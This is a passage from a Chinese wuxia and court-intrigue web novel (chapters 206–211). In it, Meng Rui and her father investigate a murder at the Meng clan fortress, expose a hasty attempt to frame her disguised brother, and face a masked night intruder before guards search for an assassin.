但若是他的出现,让他和孟瑜之间的嫌隙更大,适得其反,不如不见。
孟蕊看到父亲瞬间颓然的脸色,急急走过去,扶着父亲坐下。
她面色复杂地看向言语如刀的纪华筠,深吸一口气,按捺下不满,柔声问:
“纪小姐,我二哥是不是和你说过什么?他对父亲的意见很大吗?他希望我们怎么做才会回家?你可不可以告诉我们?”
都说伸手不打笑脸人,原本还怒气冲冲的纪华筠,遇上孟蕊轻柔如春风的声音,瞬间泄气了几分。
“他没提过你们,但我能感受得到。”
纪华筠语气略微缓和,面上还带着些许不忿。
“我第一眼见到孟瑜,就知道他和我,是同样的人。”
孟蕊不确定地问:“你是指……你们都是离家出走的人?”
“不是离家出走这种具体的事,那是一种遇到感觉,同类的感觉!”
想到孟瑜,纪华筠眸光中的戾气淡去不少,多了恬淡与期许。
“你懂吗?是同类!”
孟蕊听得云里雾里,对上纪华筠期待的目光,不知如何回答。
这时,她身侧的谢清源突然开口:
“我懂,我遇到小天的那一日,也是这种感觉。”
谢清源捂着不断泛起绵密酸楚缩疼的心口,声音沙哑地说。
“那是一种久违的自由、畅快、无拘无束,仿佛一下子就天光大亮,带着丝丝甜蜜、欢喜,让人沉醉其中,无法自拔……”
“停!”
纪华筠面色突然古怪,急忙喊停。
“谢大人你前面那段就够了,后面肉麻的部分可以不用说出来。”
孟蕊见他们之间的气氛,不再像之前那样剑拔弩张,直接提议道:
“父亲,要不就带上纪小姐一起吧,二哥与纪小姐一路从相州到渝州,比和我们更熟悉些,或许见到纪小姐,二哥会愿意跟我们回来?”
“也好,纪小姐便和我们一起去看看。”
谢清源点了头,看向纪华筠,带着几许承诺的意味,说道。
“我会尊重阿瑜的选择,不会强逼他做他不喜欢的事。”
纪华筠面露微讶,随即满意道:
“谢大人知错能改,比我爹识趣,咱们快走吧。”
谢清源心中五味杂陈,为从前对不起孟瑜而内疚,又因纪华筠对孟瑜的维护,隐隐期待着纪华筠和孟瑜的关系发展。
或许这个言辞犀利又扎心的女子,会是解开他和儿子之间心结的关键。
收拾好心情,谢清源带着孟蕊和纪华筠,和几名侍卫,一起去往孟家堡的闲云堂。
第206章 寻找孟瑜
闲云堂,位于孟家堡客院东侧,昨夜住在客院中的宾客们,被召集在此处。
宾客们三五成群,正七嘴八舌地议论着昨夜孟子俊被杀一事。
“孟三少爷死了,我看和他两个哥哥脱不开关系,孟二少爷病弱,孟大少爷最是可疑。”
“不好说,孟子俊是被一掌穿心而死,孟子仁还未及冠,能有那么高深的内力?”
“要论武功,孟堡主去世后,整个孟家堡中,就孟简的功夫最高,他的混元裂空掌,那叫一个厉害。”
“说孟简的功夫高,那是你没见过孟逐风的厉害,还有孟家以前那个孟天,那大刀舞的叫一个威震八方。”
“孟逐风?孟堡主去世,怎不见他回来奔丧?你说的孟天,不就是孟堡主的长女,怎么也不见回来?”
“这你就不知道了,二十年前孟老堡主去世的时候,他们就和孟堡主闹掰了,说什么此生不复相见,再也不回孟家堡。”
“孟逐风还在世吗?我怎么听说,他前几年已经死了?”
“你听错了吧?他手底下还管着霸天帮,怎么会死?”
……
谢清源一行人到时,看到闲云堂大门敞开,里面约莫有一二十人,在闹哄哄地说话。
守门的孟家堡护卫上前行礼,“谢大人,里面是等待确定昨夜行踪的宾客,您这是……”
“我找二弟三弟,他们在吗?”
谢清源笑着对他点了下头,对身后的侍卫招了下手,一个沉甸甸的荷包,立即送到了护卫手中。
带头护卫惊喜地收下,对其他几名守门的护卫使了个眼色,每个人都面露喜色。
孟家堡的下人护卫们都知道,这位每年来一次的谢大人,是个财神爷,出手大方,见者有份,他们都爱往他跟前凑。
“大爷和二爷不在里面。”
得了银子,带头护卫恨不得把知道的,都说出来。
“大爷在主院,和大夫人、大少爷、二少爷、杨掌门一起,二爷去别处找没来的宾客了,估摸着一会儿就过来。”
护卫口中的大爷指的是孟繁,二爷指的是孟简。
二十多年前,孟天离开孟家堡后,孟剑雨盛怒之下,对外放话自己没有孟天这个女儿,并把两个儿子的排序改为长子和次子,孟家堡内对他们的称呼一直延续至今。
只有谢清源,每次回来孟家堡,坚持不懈地叫孟繁孟简二弟三弟。
“二弟和二弟妹,是在审问子仁和子信吧?我就不去凑那个热闹了。”
谢清源一想便知,失去儿子的杨氏,不会轻易放过孟子仁和孟子信,现在正和杨玄松一起,审问那兄弟俩。
孟繁心疼两个儿子,担心杨氏会对他们不利,肯定要陪着一起。
不过,孟简去找没来的几名宾客,是有人因故没有过来,又或是杀人凶手就在宾客中,已经提前跑路了?
谢清源眼珠一转,有了决断,“我找三弟有事,去里面等他。”
得了好处的护卫都没有阻拦,谢清源带着孟蕊和纪华筠,昂首阔步地步入闲云堂。
闲云堂中,谢清源一进去,就吸引了不少人的注意,与他相识的几位江湖人士,过来和他打招呼。
谢清源时常仗义疏财,扶危救困,在江湖中人缘不错,又能放得下身段与人结交,很快就和人攀谈了起来。
孟蕊和纪华筠,则是在宾客中缓慢游走,寻找孟瑜的身影。
可是,她们一起走了两圈,把闲云堂中的每个宾客的脸都看遍了,也没有找到孟瑜。
纪华筠把孟蕊拉到无人的角落,小声而肯定地道:
“孟瑜不在这里。”
孟蕊没有回应,眼神发直,盯着一个方向看。
纪华筠见状,顺着孟蕊的视线看过去,是几个聚在一起说话的宾客,都长得五大三粗的,纪华筠不认识,她用手肘戳了戳孟蕊的胳膊。
“喂,你看什么呢?有你认识的人?”
孟蕊回过神来,按住纪华筠作乱的手,“别动,让我再看看。”
“那几个都不会是孟瑜,我不会看错的。”纪华筠笃定道。
孟蕊没有反驳她的话,而是继续往之前看的方向,目不转睛地望着,顺口说:
“二哥会不会乔装打扮,我们没认出来?”
“他扮成什么样,我都能认出来。”纪华筠十分自信,“他不在这里,我非常肯定。”
这么确定的吗?孟蕊不置可否。
她和孟瑜昨日才第一次见面,对孟瑜说不上熟悉,只能根据孟瑜的身高体型和长相来找人,但若是孟瑜擅长乔装,变幻容貌体型,孟蕊不敢保证自己一定能认出他来。
这座闲云堂中的各色江湖人士,都是有名有姓的人物,孟蕊没有发现疑似孟瑜和她娘亲孟天的人。
但那个沉默坐在人群后面的青衣男子,孟蕊几乎一眼就认了出来。
那是一张平平无奇的陌生脸庞,五官端正,却有着一双让孟蕊感到恐惧的眼睛。
是厉青鸿!
他怎么会在这里?
孟蕊离开京城时,厉青鸿依然闭门不出,在镇北王府中养伤。
而现在,他居然无声无息地跨越千里,和孟蕊在孟家堡撞见。
并且是伪装成另一个人的外表,昨夜已经住在了孟家堡客院。
“你在看那个坐在后面的青衣剑客?”
纪华筠好奇又疑惑的声音,从身畔传来。
“我瞧着他,也觉得有些眼熟。”
孟蕊心中一动,纪华筠认出了厉青鸿?又或是,她认识厉青鸿冒充的青衣剑客?
“你认识那个人?他是谁?”孟蕊期待地问。
纪华筠摸索着下巴上粘的胡渣,思索了几息后道:
“说不上认识,是昨日见过的人,就在酒楼门口,我和熊大魁扳手腕的时候,这青衣剑客好像是熊大魁的老相识,给他鼓劲儿来着。怎么?他有什么不对吗?”
“还不确定,要再观察看看。”
此事非同小可,孟蕊没有向纪华筠说穿厉青鸿的身份,她要尽快找机会告诉父亲。
正当孟蕊要带着纪华筠走向谢清源时,闲云堂外响起急促的脚步声。
孟简带着一队护卫,气势汹汹地大步跨进来。
见主人家到来,堂中的谈话声逐渐停止,所有人的目光都看向孟简。
第207章 排查凶手
“各位!因我侄子俊被人谋害一事,想必各位都知道了。”
孟简神情严肃,对着众人抱拳一礼。
“为了找出凶手,昨夜在孟家堡内的所有人,都需要提供昨夜四更天之后的行踪证明,以便我们排查出凶手,请各位配合。如有关于凶手的线索,也可来告知于我。”
他的话音刚落,就有人提出问题。
“孟二爷,你说要提供每人昨夜四更天之后的行踪,意思是孟三少爷,是在四更天以后遇害的?”
孟简郑重回答:“是的,子俊昨夜一直守灵到四更天,才从灵堂离开,之后不久出事。”
又有人提问:“那我昨夜一直单独在客房内睡觉,无人证明呢?”
孟简答道:“诸位只需要如实提供行踪,我堡内护卫,自会去查证。”
之后,孟简又回答了宾客提出的几个问题。
趁着这个间隙,孟蕊悄悄回去找父亲,把谢清源带到一处无人在意的角落,将没有在这里找到孟瑜,以及孟蕊发现青衣剑客是厉青鸿的事告知。
谢清源顺着孟蕊的手指,看向那名似乎很普通的青衣剑客,压低了声音问:
“你确定吗?镇北王府内外都有我们的人,未有消息传出他离开了京城。”
镇北王厉青鸿,因养伤从北地回京城后,一直在皇帝的监视之下,谢清源作为皇帝心腹,自然也知晓。
现在,孟蕊突然指着一个陌生人,告诉谢清源,这是镇北王,谢清源第一反应是不相信。
镇北王躲过皇帝的监视、私自出京,只这一点,就让谢清源心头发颤。
如果孟蕊没认错人,那厉青鸿这个手握重兵的异性王,瞒着皇帝离京,是欺君之罪。
他伪装外貌,假借身份,跑来孟家堡这个江湖门派,又是为了什么不可告人的秘密?
“确定,应该是他无疑。”
孟蕊只要看到那双眼睛,就无比确认。
那是前世无数次逃亡被抓回后的绝望和恐惧,是对那个人厌恶至深的敏锐反应。
看到女儿眉头蹙起,面色紧绷,一副如临大敌的模样,谢清源对孟蕊的判断,多了几分相信。
“看来这孟家堡的水,比我们想象的要深呐。”
谢清源安抚地拍了拍孟蕊的肩膀,表情逐渐凝重。
这时,一名宽厚结实的中年男子,从外面快跑进来。
孟蕊认出此人,是在渝州城酒楼外见过的范统领,那时他为一名富绅拿回被抢的请帖,并把抢请帖的熊大魁抓了起来。
范统领跑到孟简面前,脸不红气不喘地向孟简禀报:
“二爷,刚才一名弟子来报,他昨夜看守山门到四更天时,看到两个人影闯入后山,他跟上去查看,被人从后面打晕,丢到杂草丛中,直到一个时辰前才醒来。”
“四更天?”孟简骤然紧张,“他看清那两人的脸没有?”
范统领摇头,“他说当时太黑,没有看到脸,但可以确定打他的是个男人,而且武功很高,下手很重,被打昏之前,他从那人身上拽出了这张请帖,醒来时依然攥在手里。”
范统领拿出一张满是褶皱的白色请帖,把请帖展开,指着上面姓名一栏处给孟简看。
孟简探过头,定睛一看,“余大钟?是那个不见踪影的客人?”
他刚才过来晚了,就是为了找这个人。
“回二爷,就是此人。”范统领答道,“他昨夜四更天后闯入后山,有很大的作案嫌疑。”
孟简眉头紧锁,“弟子说,看到了两个人影,另一个人是谁?”
“这个……还没有查到。”
范统领被问得一噎,但很快将其他查到的消息说明。
“余大钟不是咱们堡中请的客人,而是买了请帖进来的,他昨日入堡时间已晚,所以才让他在堡中住下,没想到……”
孟简越听眉头拧得越紧,他将范统领手中的白色请帖拿了过来,反复翻看了几遍,确定是孟子俊做主卖出去的请帖,气得狠狠将请帖甩在地上。
“我早就和子俊说过,不要贪一时小利,赚不安生的钱,他非是不听!”
孟简状似痛苦,又似恼怒地扶额。
“卖个请帖,将杀人凶手放了进来,把自己置于死地,这都什么事儿啊!”
屋内的宾客们,一直关注着孟简和范统领的对话,听到杀人凶手四个字,哗然一片。
一名大胡子男人兴奋地说:“杀人凶手找着了?我们应该不用再去证明昨晚行踪了吧?”
一名头发花白的老者,摸着同样花白的胡须,叹息道:
“那个叫余大钟的后生,我昨日傍晚见过一面,相貌堂堂,不似宵小之人,怎么就成杀人凶手了?”
他旁边一名眉清目秀的年轻道士,露出高深莫测的神情。
“金老爷子,咱们说了都不算,孟家堡要指谁是凶手,不都是他们一句话的事儿?”
“清逸道人,你年纪小,不要乱说话。”
一名皮肤黝黑、身材魁梧的壮汉走过来,对年轻道士做了个嘘声的动作。
“你帮你师父念完经,赶紧回山去吧,少沾染凡尘污垢。”
清逸道人瞥了他一眼,没再说话。
表情痛苦的孟简,听到了周围的议论声,收敛了情绪,转身对着众人拱了拱手。
“诸位,现下凶手已经明了,不需要再查证行踪,我将即刻派人捉拿余大钟,一定会为我侄儿子俊报仇!”
说完,他悲愤地转向门口,就要离开。
“等等!你怎么就能确定那个余大钟是凶手?我还说你是污蔑他呢!”
一道低沉怪异的男声,在人群中突兀响起。
孟简脚步一顿,皱眉回头,望向众人,“谁在说话?请站出来。”
“我说的!”
一身黑衣侍卫劲装的纪华筠,背着手,昂首阔步走出人群。
她站在众宾客前方,手指着孟简,正义凛然道:
“你现在的所有证据,只有一张写有余大钟名字的请帖,以此判定余大钟是杀人凶手,未免太过草率。
也可能是余大钟掉了请帖,被凶手捡到,塞在了你那什么弟子手中,借此把杀人的罪名扣在他头上,这完全有可能!”
第208章 同意抓捕
谢清源看着不管不顾站出去,与孟简对峙的纪华筠,心道一声糟了。
不过一会儿没看住,纪华筠就能给他这么大“惊喜”。
他身边的孟蕊,一听纪华筠的话,瞬间明白。
姓余的男子,用买的请帖,昨日较晚进入的孟家堡,这些都对得上。
余大钟,定然就是她二哥孟瑜,进入孟家堡时用的化名。
现在的情况是,孟简要把杀害孟子俊的黑锅,扣在余大钟,也就是孟瑜头上。
孟简是临时起意,还是早有谋划?
二哥的身份是否已经暴露,他现在又在何处?
前方,孟简双眼一凛,上下扫过纪华筠的侍卫服。
“我记得你是……谢清源身边的侍卫?”
确定了身份,孟简再看向她时,眼中多了两分不屑。
“我孟家堡的事,没有你说话的份儿。”
纪华筠感受到对方轻蔑的态度,冷哼一声,冲着孟简就是劈头盖脸一顿输出。
“侍卫怎么了?你冤枉别人,还不许我说句良心话了?而且,又不是我一个人这么觉得,刚才这里好多人都说你贼喊捉贼!我是帮大家一起说。”
孟简是习武之人,耳力好,当然也听到了其他人的议论。
此时被一个小侍卫说穿,他不可能自降身价去和一个下人掰扯,转头在人群中寻找谢清源的所在。
“谢清源,你有什么话,当面与我说,让一个侍卫说这些,是什么意思?”
谢清源与孟简的视线对上,立即挺起胸膛,带着孟蕊,从人群角落走出来,对着孟简拱了拱手,无奈地说:
“三弟啊,不怪我这侍卫有疑问,你单拿一张请帖,就要定罪,这很难让人信服啊。”
谢清源悠闲地踱着步子,挡在了纪华筠之前,面向孟简,语气带着几分说教。
“你还是太年轻了,得到一点线索,事情都没弄清楚,就火急火燎地嚷嚷着要去报仇,这怎么能行嘛?”
孟蕊站在谢清源身后,将还想要上前说话的纪华筠按住,厉声提醒:
“不可放肆,交给大人处理。”
纪华筠抿了抿唇,看了出头的谢清源一眼,没有再动。
孟简看向谢清源,不耐烦道:“你想要如何?”
“我没想如何,只是觉得三弟年轻气盛,不可冲动行事。”
谢清源端着长辈的架子,硬是在言语上高孟简一头。
“三弟,子俊是二弟的儿子,你要做什么事,好歹要先和二弟二弟妹同个气,让他们知道多了一个嫌疑人,还有一个证人,把证人和证据摆出来,详细问明情况才是。”
谢清源对孟简已经铁青的脸色,似毫无所觉,还在继续煽动其他宾客表达意见。
“金老爷子,您德高望重,以您几十年的江湖经验来看,这事儿是不是有蹊跷?该先和我二弟他们说一声不是?”
金老爷子,名金秉星,是江湖有名的锻刀世家——金家庄的前任庄主。
因为年纪大了,他前几年已经把庄主之位传给了长子,过上了四处游历的悠闲生活。
金家与孟家是姻亲关系,孟剑雨早逝的原配、孟天的亲生母亲金惜月,为金老爷子之妹。
严格论起亲戚关系,谢清源该随孟天,叫金老爷子一声舅舅。
此时的金老爷子,端坐在椅子上,瞧了眼突然凑过来的谢清源,觉察出了一丝不寻常的意味,眼珠精明一转,顺着谢清源的话说道:
“老夫年纪大了,早就不管江湖事,分辨不出什么蹊跷,不过孩子都是父母的心头肉,有了线索,自然该告知其父母,由父母决断。”
此话一出,得到了周围不少宾客的赞同。
孟简的脸色更难看了,这不就是说他这个叔父越俎代庖,多管闲事了?
鉴于金老爷子的江湖地位,和人心所向,孟简不好拒绝,只道:
“我这就带人去告知兄嫂。”
“三弟等一下。”
谢清源拉住孟简,热情提议:
“既然诸位亲朋都在这里,不如直接将二弟和二弟妹他们请过来说话,大家一起帮着分析,人多好办事嘛。”
孟简拂开谢清源的手,“这是我们孟家堡的事,不便让这么多人参与。”
“现在不方便了?”
谢清源阴阳怪气起来。
“刚才你要让我们提供昨晚行踪时,挺理直气壮的,说是提供行踪,实则是把我们都当做嫌疑人调查。
谁知道你们会不会随便编造个什么证据,像冤枉那个余大钟那样,冤枉我们其中的谁?”
谢清源的话,成功挑拨了在场宾客的情绪。
其中几个本来就对要提供行踪不满的宾客,对着孟简提出了抗议,要求孟家调查凶手的过程要公开透明,杜绝无辜宾客被冤枉。
孟简为了安抚他们,只能派人去把孟繁和杨氏请来闲云堂。
两刻钟后,孟繁、杨氏、杨玄松,带着孟子仁和孟子信全都到齐。
孟蕊仔细打量了下孟子仁和孟子信,见他们衣着整齐,身上没有伤痕,只是人比中午见到时要憔悴一些,说话的声音都带着点沙哑,看来被审问的时间不短。
那个在山门被打晕的弟子,也被带了过来,当着所有人的面,他把昨晚的情形重新复述了一遍,和范统领之前说的没有两样,并一口咬定那个打晕他的人,很有嫌疑。
杨氏和杨玄松还在根据弟子的陈述,详细盘问昨晚的情形。
孟子仁急不可耐地站出来,对孟繁和孟简道:
“父亲,叔父,孩儿之前说什么来着?我们兄弟之间感情甚笃,兄友弟恭,三弟出事,定然是外人谋害。
现在情况已经很明显了,三弟就是被这个叫余大钟的杀害的,你们还在犹豫什么?快把这人抓起来呀!”
孟繁挺着肥胖的大肚子,赞同点头,“子仁说得对,得赶紧把那个祸害抓起来。”
杨氏冷笑出声,“孟繁,是不是只要凶手不是你儿子,你都高兴?”
“妹妹,不可胡言!”
杨玄松对杨氏使眼色,让她保持冷静。
“虽然现在的证据,不足以断定凶手就是这个余大钟,但他逃入后山,确实很可疑,无论如何,应该把他找出来问清楚。”
孟简嘴角勾出讽刺的弧度,瞥向谢清源,“谢大人,我兄长他们都同意抓人,你还有何意见?”
“三弟言重了,我从来没有意见,只有善意提醒。”
谢清源指了指敞开的大门外。
“已到傍晚,外面开始起雾了,影山里的雾气会越来越大,一米之外,人畜不分,你们确定要在这时,去山里抓人?”
第209章 影山起雾
顺着谢清源手指的方向,众人望见远处峰峦秀丽的影山,已经披上了一层淡淡的薄雾,云霞雾气缭绕,在夕阳余晖的映照下,散发着迷离的美。
孟家堡中常说的后山,就是影山。
影山常年有雾,太阳下山后,影山及其方圆数十里内都会开始起雾。
若在夜里进入雾气弥漫、又地势陡峭险峻的影山,不但容易迷路,一个不小心,脚下踩空,很可能会掉下悬崖摔死。
从孟家堡进入影山的入口处,孟家堡常年派弟子看守,明令禁止夜里私自进山。
第一次见到此等美景的宾客们,不禁发出赞叹声。
而常年生活在孟家堡的孟繁和孟简,都明白,此时已不是适合上山抓人的时候。
他们最终决定,严格封锁堡内各出入口,今晚先在堡内搜查可疑之人,防止凶手藏在堡内,明日早上日出雾散后,再带人进入影山搜捕余大钟。
之后,聚集在闲云堂的宾客们散去,各自回房休息,客院加强护卫巡逻。
孟子仁和孟子信,依然被杨氏严重怀疑的对象。
杨氏失去了唯一的儿子,也不想让这两个庶子好过,她以嫡母的名义,将孟子仁和孟子信关进祠堂思过。
孟繁因想要凌剑山庄杨家的支持,没有反对,但在祠堂外安排了自己的护卫人手,保护两个儿子的安全,也是对杨氏的防备。
谢清源将孟蕊和纪华筠送回天源阁时,天色已经完全暗下,谢清源严肃交代她们锁好门不得外出后,他自己要出去办事。
纪华筠又想跟去,被谢清源严厉制止。
“我去找熟人打探消息,你们去了也没用,不用等我,早些歇息!”
谢清源头也不回地带着侍卫离开,孟蕊拉着不甘心的纪华筠进屋说话。
“晚上堡内有雾气,你我不熟悉堡内地形,若是没跟上,迷了路,反耽误事。”
孟蕊亲手给纪华筠斟了一杯茶,放在她面前,温声细语地劝说。
“今晚你好好睡一觉,养精蓄锐,明日大概率要去影山,还有的忙。”
如果明日要搜山找余大钟,为了孟瑜的安全,孟蕊他们必须在孟家堡找到孟瑜之前,将他保护起来,绝不能让孟瑜被孟家堡的人,安上杀人的罪名。
纪华筠愁容满面,手上的茶杯,端起又放下。
“他不会杀人,至少不会无故杀人。”
纪华筠看向孟蕊,眼神坚定。
“孟瑜不是凶手!孟家堡的什么大爷二爷,一个没脑子,一个黑心肝,宾客昨晚的行踪,说不查就不查了,一张请帖就认定凶手,跟开玩笑一样。”
“如果这是他们故意为之呢?”
孟蕊声音轻淡,却如一记重锤敲击在纪华筠心头。
纪华筠一把抓住孟蕊的手腕,急切地问:
“都这时候了,你们到底还有什么重要事情,没有告诉我?快说呀!”
孟蕊定定注视着纪华筠,她能感受到,纪华筠对二哥的关心和维护是出自真心。
但纪华筠毕竟是外人,现在的性子又如此跳脱,孟蕊不能对她全盘托出,在脑中组织了一下语言,把可以告诉纪华筠的消息,简要说明。
“我娘亲孟天,和她的父亲,也就是几天前去世的孟堡主,关系很差,用势同水火来形容,都不为过,孟堡主曾经还对外宣称,要和我娘亲断绝父女关系。
原因是孟堡主在我外祖母去世后,娶了孟繁和孟简的生母苗夫人,开始忽视我娘亲,把我外祖母和娘亲的东西,拿去送给苗氏母子。
我娘亲性格要强,自然不准,两边闹得很僵。
所以,我娘亲和孟繁、孟简的关系,也很差,他们几乎不来往。
只是我父亲前些年,为了寻找我娘亲,靠着砸钱,和孟家堡维持着浅薄的关系。”
纪华筠聚精会神地听着,恍然大悟。
“我明白,这叫有后娘,就有后爹。”
她一针见血地总结道,不免感叹。
“没想到江湖门派之中,也有这种糊涂事、糊涂爹。
和孟天女侠相比,孟繁那头臃肿的猪,和孟简那条阴险的狐狸,看着就不中用,孟家堡给他们谁继承,都要完蛋!”
纪华筠眉头紧皱,一副惋惜万分的表情。
“要是孟堡主,没有和孟女侠断绝父女关系就好了。”
“你想多了,孟堡主和我娘亲反目成仇,还曾大打出手。”
孟蕊斟酌着言辞,将推测的消息告诉纪华筠。
“就算孟堡主还在世,他说不定,会和其他歹人联合,骗我娘亲回来,借机对付我娘亲。
而你见过孟家堡给我二哥的请帖,说明他们还想要骗我二哥一起回来,也要对付我二哥。
孟子俊之死,很可能就是他们针对我二哥,专门做的一个局。”
孟蕊只能告诉纪华筠这么多,以她和她爹的共同推测,孟剑雨合作的歹人,或许就是从京城消失的姜瑶,而他们的目的,是为了得到她娘亲孟天手中掌控的霸天帮。
得到霸天帮的势力,对姜瑶来说,是为三皇子夺嫡增添势力,大功一件。
而对孟剑雨来说,可以为孟家堡吸纳更多力量,扩大孟家堡在江湖上的影响力。
孟瑜之所以也成为他们的目标,是因为孟瑜曾跟随孟逐风,在江湖中历练多年,在霸天帮中颇有声望。
以姜瑶谨慎的性格,不一次性弄死孟天和孟瑜母子二人,她很难将霸天帮收为己用。
因为孟天是霸天帮帮主这件事,是个少有人知的秘密。
就连孟逐风已经去世的消息,孟天为了霸天帮的稳定,也一直隐瞒着,没有对外发丧。
时至今日,也只有霸天帮内部知晓。
所以这些深层的原因,不方便告诉纪华筠,孟蕊只以关系不好为由带过。
纪华筠没有多问,她听完这些,忽然变得心情沉重,很听话地早早上床歇息。
孟蕊见她如此,也带着吟秋回了自己的房间睡觉。
饶是知道外面有侍卫守夜,屋内有吟秋陪伴,孟蕊到了新的环境,依然睡得不安稳。
半梦半醒间,孟蕊有种强烈的感觉。
有什么人,或是什么东西,在盯着她看!
这种可怕的意识,让孟蕊惊出了一身冷汗。
当她挣扎着睁开眼,霍然看到,一个全身黑衣,只露出一双眼睛的蒙面人。
正静静坐在点着烛火的桌前,悄无声息地凝视着她……
第210章 夜半惊魂
昏黄的烛光中,黑衣蒙面人一动不动地坐着,仿佛一尊静静伫立的雕像。
即使看到床榻上的孟蕊突然睁开双眼,四目相对之间,黑衣人依旧岿然不动。
孟蕊感觉到,背后的寝衣已经湿透,冰凉的触感清晰,让她恍惚意识到:
此刻,眼前的一切,不是梦境!
她保持着睁开眼时的侧躺姿势,紧张地盯着黑衣蒙面人。
敌不动,我不动,对方如果要杀她,早就动手了,孟蕊如此想着,如擂鼓般的心跳稍有缓和。
她面色凛然,藏在薄被下的手,已经握上了一枚飞刀,如果对方有异动,她会立即出手。
“你醒了。”
黑衣人突然开口,是沙哑的低沉男声。
“你长得……也不像她……”
声音中带着明显的失落,似叹息,又似怅惘。
孟蕊确定,她从前没听过这个声音,是她没见过的陌生人。
而且,此人声音不年轻了,露出的眼尾处,有明显的皱纹,应该是个上了年纪的人。
再看他身材魁梧,手中持剑,中气十足,是个身体康健强壮的习武之人。
对于这个人的身份,孟蕊有了一点猜测。
孟蕊手中的飞刀又握紧了几分,她从床上坐起来,大着胆子问:
“人人都说我长得像祖母,像父亲,你口中说的,又是谁?”
孟蕊用自己原本的女声说,毫不掩饰自己男扮女装之事。
黑衣人眯了眯眼,更加认真地注视孟蕊的脸,忽然低低笑出声。
“谢清源还真是好命,生的女儿也能长得像他。”
说完,他站起身,看样子要走。
“等等!”孟蕊鼓起勇气叫住他,“你把我娘和我二哥叫来孟家堡,究竟有何阴谋?”
黑衣人收回迈出的步子,眼神疑惑回头,“二哥?你还有大哥?”
孟蕊反被他问愣了,什么意思?大哥小时候不是在孟家堡生活过一段时间吗?
黑衣人没有纠结这个问题,他呵呵一笑,对孟蕊道:
“听说你也姓孟,应该知道,孟家的根,在影山。
有胆的话,就去影山找,你想知道一切,都在那里。”
随即,他对着紧闭的窗户挥出一掌,窗户应声打开,他纵身一跃,消失在黑沉的夜色中。
孟蕊连忙下床,跑到敞开的窗边,向外望去,入眼的只有白茫茫的雾气。
她冷静地关上窗,一边披上外衣,一边去查看地上躺着的吟秋。
吟秋被打晕了,后颈上有明显的红痕,可见黑衣人下手之重。
孟蕊拍了拍吟秋,没有反应,反复探过鼻息,确定吟秋还活着后,孟蕊给她盖上毯子保暖,自己穿戴好男装,出门去隔壁房间找父亲。
打开门,便见守在门口的两个侍卫,也被打晕,后颈上有和吟秋一样的红痕。
探过鼻息,确认他们也还活着,孟蕊放下心,去敲父亲的房门。
“叩叩叩”
孟蕊敲门后,等待片刻,屋内没有传来任何声音。
她心中升起不安,手中握着飞刀,轻轻推了推房门。
“吱哑”一声,房门直接被推开,孟蕊看着黑洞洞的屋内,整个人定在门口。
不对劲,父亲特地交代她们要锁好门睡觉,他自己不会不锁门,难道他没有回来睡觉?
孟蕊想起黑衣人说的那句“谢清源还真是好命”的话,带着明晃晃的嫉妒,那人该不会对父亲出手了?
孟蕊快步跑回自己房间,拿起桌上的烛火,就匆匆走向父亲的房间。
昏黄的烛火,照亮一室寂静。
除了她,一个人也没有,父亲不在屋内。
孟蕊一颗心提到嗓子眼,父亲没有回来,他会不会出事了?
走出谢清源房间的孟蕊,这时才发现,旁边纪华筠的房门口,守夜的两个侍卫,也瘫倒在地。
孟蕊过去检查了侍卫情况,同样是被打晕了。
她站起身,直接去推纪华筠的房门。
房门很轻易就被推开,孟蕊愣了一瞬,侧耳听见屋内隐约传来绵长的呼吸声。
孟蕊舒出一口气,拿着烛火走进房间,很快看到了躺在床上,睡得无知无识的纪华筠。
“醒一醒!”
孟蕊将烛台放在床边的矮几上,伸手去拍纪华筠的胳膊。
纪华筠没有醒,朝床榻内侧翻了个身,抱着被子,继续睡过去。
孟蕊十分无语,她二哥说得没错,以纪华筠这样淡薄的警惕心,根本不适合混江湖。
她人都站在床边了,亮着烛火,纪华筠一点察觉都没有,可见睡眠之沉。
“快醒一醒,出事了!”
孟蕊坐到床沿上,用力去扒拉纪华筠的胳膊。
谢清源晚上没有回来,内院只有孟蕊和纪华筠住,除了几个守夜的侍卫,其他侍卫一部分跟着谢清源出去办事,另一部分住在外院。
但遇上今晚黑衣人那样的高手,这些侍卫根本不顶用。
内院的侍卫连同吟秋都被打晕,孟蕊不知道外院的侍卫有没有出事,但眼前这个睡得正香的纪华筠,肯定没事。
她得先把这家伙喊起来,再一起去外院查看情况,也能多一个帮手。
“你给我醒过来!你这样,之前是怎么混江湖的?”
孟蕊不停摇晃着纪华筠的胳膊,终于听到纪华筠嘟囔了一声,缓缓转过身,悠悠转醒。
“你干嘛?大晚上的,还让不让人睡觉了?”
纪华筠扒开孟蕊烦她的手,闭上眼,还想继续睡。
孟蕊真是服了,继续去扒拉纪华筠,“你别睡了,外面的侍卫都被打晕,你房门上的锁也被破坏,有人进过你房间了你知道吗?”
“什么?”
纪华筠倏地坐起来,惊恐地检查自己身上的衣服。
“谁进我房间了?他没把我怎么样吧?”
孟蕊看着纪华筠衣衫完整,道:“应该没有,估计他是走错了,后面又去了我的房间。”
“什么?”
纪华筠再次惊悚大叫,担心地看着孟蕊。
“那你有没有事啊?”
“我没事,但我房中吟秋被打晕了。”孟蕊镇定地解释情况。
这时,外面突然传来喧闹声,还有许多人快速跑动的脚步声。
孟蕊站起身,快步走到房门口,望见远处空中的薄雾,被火光染成了红色。
她转头催促纪华筠:
“外面不对劲,你快起来,穿好衣服,我们得出去看看。”
第211章 搜查刺客
孟蕊带着穿戴好侍卫服的纪华筠,一起走去外院。
外院的廊下,横七竖八躺着三名侍卫。
孟蕊很有经验地过去检查,无一例外,和内院的侍卫一样,都是被打中后颈而晕倒。
纪华筠蹲在孟蕊身边,学着孟蕊的样子,探了探其中一个昏倒侍卫的鼻息,又摸了摸另一个侍卫的脉搏,好奇地问:
“他们都被打晕了,为什么只有我们两个没事?”
孟蕊没有回答,只是凝重地望向天源阁外,传来喧闹声的方向。
外面肯定有情况,父亲还没有回来,会不会是父亲那边出事了?
正当孟蕊忧心如焚,犹豫着是否要出去查看时,天源阁的大门上,响起急促的拍打声。
“嘭!嘭!嘭!”
“快开门!孟家堡护卫搜查刺客!”
孟蕊心中一惊,与同样被吓了一跳的纪华筠对视。
孟家堡要搜查刺客,定是有人被刺杀,而他们指明要搜天源阁,说不定又藏着什么阴谋。
孟蕊马上做出判断,她和纪华筠不能和他们对上,更不能落入他们手中。
“跟我走!”
孟蕊拉着纪华筠,就往小厨房的方向跑。
外面的拍门催促声,越来越大,越来越急,已经有要威胁撞门之势。
孟蕊带着纪华筠进入小厨房,关上门,转动门后的拉环,一道暗门逐渐打开。
她们刚进密室藏好,就听到外面“砰”的一声巨响,天源阁的大门,被撞破了。
“给我仔细地搜!”
